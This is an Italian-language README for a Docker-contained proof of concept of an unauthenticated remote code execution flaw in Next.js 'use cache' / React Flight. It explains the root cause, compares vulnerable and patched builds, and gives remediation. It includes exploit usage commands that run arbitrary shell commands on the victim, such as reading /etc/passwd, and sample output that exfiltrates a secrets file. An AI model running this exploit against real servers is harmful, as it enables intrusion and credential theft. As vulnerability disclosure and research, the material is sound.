Proof-of-concept containerizzato con Docker per GHSA-673q-mjm6-r5xr: una singola richiesta non autenticata consente l'RCE in Next.js use cache / React Flight, con una vittima corretta per confronto.
use cache / React Flight)Esecuzione remota di codice non autenticata nelle funzioni
use cacheche restituiscono typed array Next.js>=16.0.0 <16.4.1· CVSS v4 9.5 Critico · CWE-502 (Deserializzazione di dati non attendibili) Causa radice upstream: React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-*< 19.2.9/19.1.10/19.0.9/19.3.1). Corretto in Next.js 16.4.1.
Una proof of concept remota completamente funzionante e containerizzata con Docker: un attaccante di rete invia una
singola richiesta HTTP non autenticata ed esegue comandi arbitrari come root all'interno del container vittima. Una vittima corretta, compilata dalle stesse sorgenti, è immune.
attacker container ──HTTP POST /profile (crafted body)──▶ victim container (Next.js-style
(no privileged access) `use cache` Flight boundary)
▲ │
└──────────── GET /proof ◀── server-side `id`, SECRET.txt exfil ──┘
Questa è una riproduzione autonoma dell'esatto trasporto Flight dei React Server Components che
Next.js include (react-server-dom-webpack), fissato alle versioni vulnerabile (19.2.8) e corretta
(19.2.9). Vedi CASE-STUDY.md per l'analisi completa della causa radice.
make demo # builds images, starts both victims, pwns the vulnerable one,
# then shows the same exploit fail against the patched one
o passo dopo passo:
docker compose up -d --build victim victim-patched # :3000 vulnerable, :3001 patched
docker compose run --rm poc # RCE vs :3000 -> exit 0
docker compose run --rm poc-patched # safe vs :3001 -> exit 1
docker compose run --rm evidence # root-cause reproducers, side by side
Requisiti: Docker + Docker Compose. Nessun accesso a Internet necessario in fase di esecuzione (solo in fase di build per scaricare i pacchetti npm bloccati).
Contro la vittima vulnerabile ([email protected]):
[+] REMOTE CODE EXECUTION CONFIRMED
command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
host : 648b3c59052e user: root pid: 1
--- command output (executed on the victim) ---
| uid=0(root) gid=0(root) groups=0(root)
|
| === exfiltrated /app/SECRET.txt ===
| DB_PASSWORD=hunter2
| API_KEY=sk-live-7f3c9a21b0e4
| FLAG{GHSA-673q-mjm6-r5xr-rce}
|
| Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux
Contro la vittima patchata ([email protected]) la richiesta identica viene decodificata
in una scheda profilo innocua — i byte dell'attaccante restano all'interno della stringa displayName e non
diventano mai istruzioni del protocollo:
[-] No code execution observed. Target is PATCHED.
decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}
La vittima memorizza nella cache una "profile card" dell'utente con una funzione use cache in stile Next.js. Il valore memorizzato nella cache raggruppa due typed array che sono viste sullo stesso ArrayBuffer (un avatar e una thumbnail ritagliati da un'unica immagine decodificata — un pattern molto comune di "decodifica una volta, ritaglia le regioni") più una stringa controllata dall'attaccante (il nome visualizzato dalla richiesta):
function getProfileCard(displayName) {
'use cache'
const decodedImage = new ArrayBuffer(8192 * 2) // one decoded image
const avatar = new Uint8Array(decodedImage, 0, 8192) // view 1
const thumbnail = new Uint8Array(decodedImage, 8192, 8192) // view 2 — SAME buffer
return { avatar, thumbnail, displayName } // displayName = attacker input
}
Quando l'encoder Flight di React trasmette il primo grande typed array in un ReadableStream di byte, l'ArrayBuffer condiviso viene detached (semantica di trasferimento WHATWG Streams). Il byteLength della seconda vista diventa silenziosamente 0 — dopo che l'header del suo chunk ha già dichiarato la lunghezza originale. Il decoder esegue quindi un over-read, inghiottendo il framing dello stream e lasciando che i byte di displayName dell'attaccante vengano interpretati come righe grezze del protocollo Flight, che iniettano un Server Reference scelto dall'attaccante. React lo invoca durante la lettura della cache → RCE. Analisi completa in
CASE-STUDY.md.
.
├── README.md you are here
├── CASE-STUDY.md full root-cause + exploitation write-up
├── docker-compose.yml victim (vuln), victim-patched, poc, evidence
├── Makefile make demo / up / exploit / evidence / clean
├── victim/
│ ├── Dockerfile ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│ ├── server.js faithful Next.js `use cache` encode→store→decode pipeline
│ └── app-modules.js the server module graph the injected reference resolves against
├── poc/
│ ├── Dockerfile
│ └── exploit.js remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
├── 01-encoder-desync.cjs header declares N bytes, writes 0
├── 02-type-confusion-sink.cjs thenable whose .then is a server reference
├── 03-full-chain-rce.cjs desync → injection → command execution
├── run.sh runs all three against vuln AND patched
├── sample-run.txt captured output
└── upstream-diffs/ the real Next.js 16.4.0 → 16.4.1 patch diffs
Il client poc è basato su flag. Consulta il suo manuale completo:
docker compose run --rm poc -h # or: node poc/exploit.js -h
USAGE
node exploit.js [options]
OPTIONS
-t, --target <url> Base URL of the victim (default: http://localhost:3000)
-c, --cmd <command> Shell command to run on the victim
--timeout <ms> Per-request timeout in ms (default: 15000)
--dry-run Build and print the payload; do not send anything
-h, --help Show this help and exit
--version Print version and exit
Esempi:
# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'
# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run
# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'
# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile
# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq
Aggiorna Next.js a ≥ 16.4.1 (che include il runtime React Flight corretto). Se dipendi direttamente da
react-server-dom-webpack / -turbopack / -parcel, aggiorna a 19.2.9, 19.1.10,
19.0.9, o 19.3.1. Non esiste alcuna soluzione alternativa a livello applicativo per una funzione use cache interessata — l'aggiornamento è l'unica correzione.
Questo PoC prende di mira solo i due container temporanei che crea. Usalo contro sistemi di tua proprietà o per i quali sei esplicitamente autorizzato a eseguire test.